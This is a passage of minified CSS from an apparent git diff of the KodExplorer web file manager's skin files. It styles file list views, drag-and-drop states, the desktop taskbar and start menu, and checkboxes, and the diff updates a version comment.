.context-menu-item.list_icon .icon-eye-open.font-icon:before{content:"" !important;}.context-menu-list .context-menu-item .font-icon.icon-info{color:#fff !important;background:#c4e5ff;text-align:center;width:15px;border-radius:50%;height:15px;line-height:15px;margin-right:10px;box-shadow:0 0 0 1px #6db9f5;}#selContainer{position:absolute;cursor:default;width:0px;height:0px;border:1px solid #005ec9;background-color:#63acff;z-index:1000;opacity:0.5;filter:alpha(opacity=50);}#selContainer:hover{cursor:default;}.file-draging{position:absolute;left:0;top:0px;z-index:1000;pointer-events:none;opacity:0.95;}.file-draging.fileList_icon,.file-draging.fileList_list,.file-draging.fileList_list_split{z-index:1000;overflow:visible;}.file-draging.fileList_icon div.file,.file-draging.fileList_list div.file,.file-draging.fileList_list_split div.file{clear:both;position:absolute;margin:0;transition:none !important;}.file-draging.fileList_icon div.file.handle_target,.file-draging.fileList_list div.file.handle_target,.file-draging.fileList_list_split div.file.handle_target{z-index:999;}.draggable-dragging{z-index:9999;clear:both !important;pointer-events:none;position:absolute !important;padding:5px;opacity:0.9;filter:alpha(opacity=90);background:#4285f4;border-radius:4px;color:#fff;box-shadow:3px 5px 15px rgba(0,0,0,0.2);font-size:1.15em;}.draggable-dragging .drag_number{display:none;}.draggable-dragging span{line-height:25px;padding-left:5px;padding-right:15px;}.draggable-dragging span .font-icon{display:inline-block;width:22px;height:22px;text-align:center;line-height:22px;color:#fff;font-size:1.0em;font-weight:800;margin-right:10px;border-radius:12px;}.draggable-dragging span .bg-default{background:#b9e0ff;color:#4285f4;}.draggable-dragging span .bg-ok{background:#6ee273;}.draggable-dragging span .bg-error{background:#FB2500;}.draggable-dragging span b{padding-right:15px;}.item-file-draging{opacity:0.5;filter:alpha(opacity=50);}.selectDragDraging{cursor:move;cursor:-webkit-grabbing;}.selectDragDraging .fileList_icon .selectDragTemp{transform:scale(1.1,1.1);}.fileContiner .file .filename .title.db_click_rename{cursor:text;}.fileList_icon{padding:10px 0 0 10px;}.fileList_icon .meta_info{height:22.5px;width:22.5px;margin-right:6.75px;margin-top:-22.5px;position:absolute;right:0;}.fileList_icon .meta_info img{width:100%;height:100%;}.fileList_icon .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;width:60px;height:75px;text-decoration:none;margin:0;margin-right:10px;margin-bottom:10px;overflow:hidden;float:left;}.fileList_icon .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_icon .file.hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_icon .file .filename{width:60px;cursor:default;text-align:center;word-break:break-all;font-size:1.0em;margin:0 auto;line-height:1.5em;padding-bottom:5px;}.fileList_icon .file .filename .textarea{position:absolute;font-size:1.0em;text-align:center;margin-left:-1px;margin-top:-3px;}.fileList_icon .file .filename #pathRenameTextarea,.fileList_icon .file .filename .newfile{width:60px;padding:2px 0px;margin-top:0px;overflow-y:hidden;border:1px solid #888;font-size:1.0em;text-align:center;line-height:1.5em;position:absolute;z-index:999;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}.fileList_icon .file .filename #pathRenameTextarea:focus,.fileList_icon .file .filename .newfile:focus{outline:none;}.fileList_icon .file.select,.fileList_icon .file.selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_icon .file.file_icon_edit{overflow:visible;}.fileList_icon .file.file_icon_edit .filename{position:absolute;z-index:99;}.fileList_icon .file .ico{height:60px;width:60px;padding-top:4px;text-align:center;vertical-align:middle;display:table-cell;}.fileList_icon .file .ico img{height:100% \9;max-height:100%;max-width:100%;border-radius:5px;}.fileList_icon .file .ico.picasaImage{background:none;width:50px;padding-left:5px;}.fileList_icon .file .ico.picasaImage img{-webkit-box-shadow:1px 1px 5px rgba(0,0,0,0.2);-moz-box-shadow:1px 1px 5px rgba(0,0,0,0.2);box-shadow:1px 1px 5px rgba(0,0,0,0.2);width:100% \9;max-width:100%;border-radius:0px;}.fileList_icon .file .ico.picasaImage img.lazyload_ready{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}@media screen and (max-width:100000px){div.fileList_icon div.file{ display:inline-block;max-height:152px;vertical-align:top;float:none;height:auto;}}.context-menu-item.set-file-icon-size .box-size-smallx{font-size:0.9em;}.context-menu-item.set-file-icon-size .box-size-small{font-size:1.0em;}.context-menu-item.set-file-icon-size .box-size-default{font-size:1.15em;}.context-menu-item.set-file-icon-size .box-size-big{font-size:1.25em;}.context-menu-item.set-file-icon-size .box-size-bigx{font-size:1.35em;}#list_type_list{z-index:5;position:absolute;width:100%;top:85px;}#main_title{background:#fff;border-bottom:1px solid #e3e3e3;box-shadow:0 2px 10px rgba(0,0,0,0.06);}#main_title .box-shadow(1px 2px 15px #dde) div{cursor:pointer;overflow:hidden;}#main_title div span{float:right;margin-right:8px;margin-top:0px;}#main_title .filename,#main_title .filesize,#main_title .filetype,#main_title .filetime{float:left;cursor:pointer;overflow:hidden;line-height:25px;height:25px;border-right:1px solid #eee;padding-left:10px;margin-left:-10px;font-size:1.0em;color:#448;}#main_title .filename:hover,#main_title .filesize:hover,#main_title .filetype:hover,#main_title .filetime:hover{background:#eee;}#main_title .resize{float:left;width:20px;cursor:col-resize;margin-left:-10px;height:25px;z-index:9999;position:relative;}#main_title .current{background:rgba(0,0,0,0.8);}#main_title .filename{width:250px;padding-left:20px;margin-left:0px;}#main_title .filetype{width:80px;}#main_title .filesize{width:80px;text-align:right;padding-left:0px;padding-right:10px;}#main_title .filetime{width:150px;padding-right:6px;}#main_title .filesize span{margin-right:0px;}#main_title .this{font-weight:800;background:#eee;}.fileList_list,.fileList_list_split{padding-top:5px;width:100%;z-index:0;}.fileList_list .file,.fileList_list_split .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);margin-left:10px;-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;height:25px;}.fileList_list .file .ico,.fileList_list_split .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_list .file2,.fileList_list_split .file2{background:#edf5ff;}.fileList_list .hover,.fileList_list_split .hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_list .select,.fileList_list .selectDragTemp,.fileList_list_split .select,.fileList_list_split .selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_list .select .children_more i.font_icon,.fileList_list .selectDragTemp .children_more i.font_icon,.fileList_list_split .select .children_more i.font_icon,.fileList_list_split .selectDragTemp .children_more i.font_icon{color:#63acff !important;}.fileList_list .meta_info,.fileList_list_split .meta_info{display:inline-block;float:initial;width:15px;height:15px;padding:0;position:relative;top:6px;margin:0px 0 0 -15px;}.fileList_list .meta_info img,.fileList_list_split .meta_info img{width:100%;height:100%;}.fileList_list .file,.fileList_list_split .file{width:80%;overflow:hidden;height:27px;}.fileList_list .file .ico,.fileList_list .file .filename,.fileList_list .file .filetype,.fileList_list .file .filesize,.fileList_list .file .filetime,.fileList_list .file .children_more,.fileList_list_split .file .ico,.fileList_list_split .file .filename,.fileList_list_split .file .filetype,.fileList_list_split .file .filesize,.fileList_list_split .file .filetime,.fileList_list_split .file .children_more{float:left;line-height:28px;height:28px;font-size:1.0em;cursor:default;overflow:hidden;padding-left:15px;}.fileList_list .file .children_more,.fileList_list_split .file .children_more{width:20px;height:28px;text-align:center;padding-left:0px;}.fileList_list .file .children_more i.font_icon,.fileList_list_split .file .children_more i.font_icon{font-size:15px;color:#aaa;cursor:pointer;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;}.fileList_list .file .children_more i.font_icon::after,.fileList_list_split .file .children_more i.font_icon::after{content:"\f0da";}.fileList_list .file .children_more i.font_icon.cert_open::after,.fileList_list_split .file .children_more i.font_icon.cert_open::after{content:"\f0d7";}.fileList_list .file .children_more i.font_icon:hover,.fileList_list_split .file .children_more i.font_icon:hover{background:rgba(0,0,0,0.05);color:#63acff;}.fileList_list .file.loading_children .ico .x-item-file,.fileList_list_split .file.loading_children .ico .x-item-file{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.fileList_list .file .filetype,.fileList_list_split .file .filetype{width:90px;}.fileList_list .file .filesize,.fileList_list_split .file .filesize{width:90px;text-align:right;padding-left:0px;padding-right:10px;}.fileList_list .file .filetime,.fileList_list_split .file .filetime{width:200px;}.fileList_list .file .filename,.fileList_list_split .file .filename{width:240px;word-break:break-all;padding-left:0px;}.fileList_list .file .filename .textarea,.fileList_list_split .file .filename .textarea{font-size:1.0em;display:inline-block;margin-left:-2px;}.fileList_list .file .filename #pathRenameTextarea,.fileList_list .file .filename .newfile,.fileList_list_split .file .filename #pathRenameTextarea,.fileList_list_split .file .filename .newfile{height:24px;line-height:24px;z-index:999;width:200px;min-width:150px;border:none;font-size:1.0em;padding-left:2px;padding-top:2px;}.fileList_list .file .filename #pathRenameTextarea:focus,.fileList_list .file .filename .newfile:focus,.fileList_list_split .file .filename #pathRenameTextarea:focus,.fileList_list_split .file .filename .newfile:focus{outline:none;}.fileList_list .file .filename .title,.fileList_list_split .file .filename .title{word-break:break-all;}.fileList_list .file .ico,.fileList_list_split .file .ico{height:22px;width:22px;padding:0px;line-height:20px;margin-right:4px;margin-top:4px;text-align:center;vertical-align:bottom;display:table-cell;}.fileList_list .file .ico img,.fileList_list_split .file .ico img{height:100% \9;max-height:100%;max-width:100%;margin-top:-5px;}.fileList_list .file .filename .textarea{position:absolute;}.list_split_box{position:absolute;bottom:0px;right:0px;left:0px;top:0px;margin-top:0;overflow:hidden;}.list_split_box .split_line{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;float:left;height:100%;}.fileList_list_split{overflow:hidden;}.fileList_list_split .file{width:97.5%;height:24px;margin-left:0.7%;position:relative;}.fileList_list_split .file.file2{background:none;}.fileList_list_split .file .ico,.fileList_list_split .file .filename,.fileList_list_split .file .filetype,.fileList_list_split .file .filesize,.fileList_list_split .file .filetime,.fileList_list_split .file .children_open{line-height:22px;height:22px;}.fileList_list_split .file .ico{height:22px;width:22px;margin-left:5px;margin-top:2px;}.fileList_list_split .file .filename{width:100%;}.fileList_list_split .file .filename span.title{position:absolute;overflow:hidden;}.fileList_list_split .file .filename #pathRenameTextarea,.fileList_list_split .file .filename .newfile{height:23px;line-height:23px;}.fileList_list_split .file .filename .title .textarea{margin-top:-2px;}.fileList_list_split .file .children_open{width:20px;height:28px;text-align:center;padding-left:0px;float:right;}.fileList_list_split .file .children_open i.font_icon{font-size:1.25em;color:#aaa;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;-webkit-font-smoothing:antialiased;}.fileList_list_split .file .children_open i.font_icon::before{content:"\f0da";line-height:24px;}.fileList_list_split .file.select_split_parent{background:#e3f0ff;}.fileList_list_split .file.select_split_parent .children_open i.font_icon::before{content:"\f101";font-size:20px;}.fileList_list_split .split_box{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;overflow:hidden;position:absolute;bottom:0px;left:0px;top:0px;border-bottom:5px solid transparent;}.fileList_list_split .split_box .content{overflow:auto;height:100%;margin:2px 0px 10px 0px;}.fileList_list_split .split_box.split_hover{background:#eef7ff;background:rgba(0,0,0,0.01);box-shadow:0 0 100px #eef7ff inset;border-bottom:5px solid #acd9ff;}.fileList_list_split .split_box.split_select{background:#dff0ff;background:rgba(0,0,0,0.01);box-shadow:0 0 40px #dff0ff inset;margin-left:-1px;border-left:1px solid #eee;border-color:#acd9ff;border-bottom:5px solid #2196F3;}.fileList_list_split .is_drag_split .split_drag{background:rgba(100,100,100,0.2);}.fileList_list_split .split_drag{position:absolute;top:0px;right:0px;bottom:0px;width:4px;cursor:col-resize;z-index:55;background:url("../../../images/common/resize.png") 2px 50% no-repeat;}.fileList_list_split .content_more{height:100px;position:relative;}.fileList_list_split .file .children_open i.font_icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.fileList_list_split .file .children_open i.font_icon:before{display:none \9\0;}.fileList_list_split .file.select_split_parent .children_open i.font_icon{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;height:20px \9\0;}.fileList_list .file .children_more i.font_icon,.fileList_list_split .file .children_more i.font_icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.fileList_list .file .children_more i.font_icon::after,.fileList_list_split .file .children_more i.font_icon::after{display:none \9\0;}.fileList_list .file .children_more i.font_icon.cert_open,.fileList_list_split .file .children_more i.font_icon.cert_open{background:url("../../../images/common/tree.png") no-repeat -15px -350px \9\0;}.fileList_list .file .children_more i.font_icon:hover,.fileList_list_split .file .children_more i.font_icon:hover{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;}.fileList_list .file .children_more i.font_icon.cert_open:hover,.fileList_list_split .file .children_more i.font_icon.cert_open:hover{background:url("../../../images/common/tree.png") no-repeat -47px -350px \9\0;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}body#page_desktop .topbar{background:#eee;background-color:rgba(190,190,190,0.3);box-shadow:0 0 10px rgba(0,0,0,0.2);}body#page_desktop .topbar .content{border-bottom:1px solid #ddd;border-bottom-color:transparent;}body#page_desktop .topbar .content .topbar_menu{color:#fff;border-color:rgba(190,190,190,0.1);}body#page_desktop .topbar .content .topbar_menu,body#page_desktop .topbar .content .topbar_menu.font-icon{text-shadow:0px 0px 0px #fff, 0px 0px 4px #000;}body#page_desktop .topbar .content .top_right div.share_info_user{color:#fff;}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(255,255,255,0.3);}.desktop{position:absolute;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow:hidden;right:0px;bottom:0px;top:0px;left:0px;background-attachment:fixed;-webkit-transition:all ease .3s;-moz-transition:all ease .3s;-o-transition:all ease .3s;-ms-transition:all ease .3s;transition:all ease .3s;-moz-background-size:cover;-o-background-size:cover;-webkit-background-size:cover;background-size:cover;-ms-background-size:cover;background-size:100% 100%;}.desktop .background{position:absolute;overflow:hidden;width:100%;display:none;height:100%;right:0px;top:0px;bottom:0px;left:0px;}.desktop .fileList_icon{position:absolute;width:100%;bottom:25px;top:40px;overflow:auto;}.desktop .fileList_icon .file{float:none;color:#fff;border:none;display:inline-block;writing-mode:lr-tb;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;text-shadow:0px 0px 0px #fff, 0px 0px 2px #000, 0px 0px 4px #000;}.desktop .fileList_icon .file .filename{padding-bottom:1px;}.desktop .fileList_icon .file.hover{background:#fff \9;background:rgba(255,255,255,0.2);background-color:#aaa\9;border:none;color:#fff;}.desktop .fileList_icon .file.select,.desktop .fileList_icon .file.selectDragTemp,.desktop .fileList_icon .file.select.hover,.desktop .fileList_icon .file.selectDragTemp.hover{background:#fff \9;background:rgba(255,255,255,0.4);border:none;color:#fff;background-color:#eee\9;color:#444\9;}.desktop .fileList_icon .file.select .filename,.desktop .fileList_icon .file.selectDragTemp .filename,.desktop .fileList_icon .file.select.hover .filename,.desktop .fileList_icon .file.selectDragTemp.hover .filename{background:none;}body .fileContiner.file-draging-box .fileList_icon .file{float:none;color:#fff;border:none;display:inline-block;text-shadow:0px 0px 0px #fff, 0px 0px 2px #000, 0px 0px 4px #000;}body .fileContiner.file-draging-box .fileList_icon .file .filename{padding-bottom:1px;}body .fileContiner.file-draging-box .fileList_icon .file.hover{background:#fff \9;background:rgba(255,255,255,0.2);background-color:#aaa\9;border:none;color:#fff;}body .fileContiner.file-draging-box .fileList_icon .file.select,body .fileContiner.file-draging-box .fileList_icon .file.selectDragTemp,body .fileContiner.file-draging-box .fileList_icon .file.select.hover,body .fileContiner.file-draging-box .fileList_icon .file.selectDragTemp.hover{background:#fff \9;background:rgba(255,255,255,0.4);border:none;color:#fff;background-color:#eee\9;color:#444\9;}body .fileContiner.file-draging-box .fileList_icon .file.select .filename,body .fileContiner.file-draging-box .fileList_icon .file.selectDragTemp .filename,body .fileContiner.file-draging-box .fileList_icon .file.select.hover .filename,body .fileContiner.file-draging-box .fileList_icon .file.selectDragTemp.hover .filename{background:none;}@media screen and (max-width:100000px){div.fileList_icon div.file{ display:inline-block;max-height:none;vertical-align:inherit;float:inherit;height:inherit;}}#taskbar{height:32px;position:fixed;bottom:0;left:0;width:100%;padding:0;margin:0;background:url('../../../images/common/desktop/taskbarbg.png');}#taskbar a{position:absolute;text-align:center;width:40px;height:40px;left:6px;}.taskbar_right{position:fixed;right:0px;bottom:-1px;z-index:99999;}.taskbar_right .copyright{float:left;cursor:pointer;color:#fff;padding-top:6px;font-size:20px;z-index:999;width:35px;height:21px;text-align:center;opacity:0.8;filter:alpha(opacity=80);}.taskbar_right .copyright:hover{text-shadow:0 0 10px #fff;opacity:1.0;filter:alpha(opacity=100);}.taskbar_right .tab_hide_all{width:23px;height:30px;border-radius:4px;cursor:pointer;border:1px solid rgba(255,255,255,0.4);float:right;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.taskbar_right .tab_hide_all:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 10px #fff;}.start{background:url('../../../images/common/desktop/start.png') 0 0px no-repeat;display:block;margin-top:-8px;z-index:10000;border-radius:20px;width:40px;height:40px;bottom:0px;left:5px;position:fixed;}.start:hover{text-decoration:none;background-position:0 -40px;}.start:active{text-decoration:none;background-position:0 -80px;}#randomWallpaper{position:absolute;width:40px;height:60px;bottom:30px;right:25px;z-index:10;}#randomWallpaper .flower{width:40px;z-index:3;position:absolute;top:0;cursor:pointer;left:0;}#randomWallpaper .body-line{width:5px;height:30px;position:absolute;bottom:0;left:18px;background-color:#fff;z-index:2;}#menuwin{position:absolute;left:0;bottom:33px;display:none;z-index:9999;}#menuwin #startmenu{border:solid 1px #102a3e;overflow:visible;display:block;float:left;height:404px;width:390px;opacity:0.9;filter:alpha(opacity=90);-webkit-border-radius:5px;position:absolute;box-shadow:inset 0 0 1px #fff;-webkit-box-shadow:inset 0 0 1px #fff;background-color:#619bb9;background:-webkit-gradient(linear,center top,center bottom,from(#327aa4),color-stop(45%,#2e4b5a),to(#5cb0dc));background:rgba(0,0,0,0.5);}#menuwin #leftspliter{margin:0 15px 0 15px;border-top:solid 1px #d6e5f5;}#menuwin #rightspliter{margin:0 7px 0 7px;border-top:solid 1px #596d77;}#menuwin #programs,#menuwin #links{float:left;padding:0;list-style:none;position:relative;}#menuwin #programs{background:#fff;border:solid 1px #365167;height:385px;margin:7px 0 7px 7px;box-shadow:0 0 1px #fff;width:250px;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 0 1px #fff;-moz-box-shadow:0 0 1px #fff;}#menuwin #programs a{border:solid 1px transparent;display:block;padding:3px;height:30px;line-height:30px;margin:3px 10px;color:#4b4b4b;text-decoration:none;min-width:200px;}#menuwin #programs a:hover{border:solid 1px #7da2ce;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:inset 0 0 1px #fff;-moz-box-shadow:inset 0 0 1px #fff;box-shadow:inset 0 0 1px #fff;background-color:#cfe3fd;background:-webkit-gradient(linear,center top,center bottom,from(#dcebfd),to(#c2dcfd));}#menuwin #programs a img{border:0;vertical-align:middle;margin:0 5px 0 0;}#menuwin #links{margin:5px;margin-top:-30px;}#menuwin #links li.icon{height:60px;}#menuwin #links a{border:solid 1px transparent;display:block;margin:5px 0;position:relative;color:#fff;text-decoration:none;min-width:120px;}#menuwin #links a:hover{border:solid 1px #000;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;-webkit-box-shadow:0 0 1px #fff;-moz-box-shadow:0 0 1px #fff;box-shadow:0 0 1px #fff;background-color:#658da0;background:-webkit-gradient(linear,0% 100%,100% 100%,from(#517384),color-stop(50%,#79a3b8),to(#517384));}#menuwin #links a:hover span{background:-webkit-gradient(linear,center top,center bottom,from(transparent),color-stop(49%,transparent),color-stop(50%,rgba(2,37,58,0.5)),to(rgba(63,111,135,0.5)));}#menuwin #links a span{padding:5px;padding-left:10px;display:block;} -/* ver 3.42(2017-04-07) [build 1491589355.0501] */ \ No newline at end of file +/* ver 3.43(2017-04-12) [build 1491999048.0003] */ \ No newline at end of file diff --git a/static/style/skin/base/app_editor.css b/static/style/skin/base/app_editor.css index 891fdb6..2b31646 100755 --- a/static/style/skin/base/app_editor.css +++ b/static/style/skin/base/app_editor.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589355.5532] */ -::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} 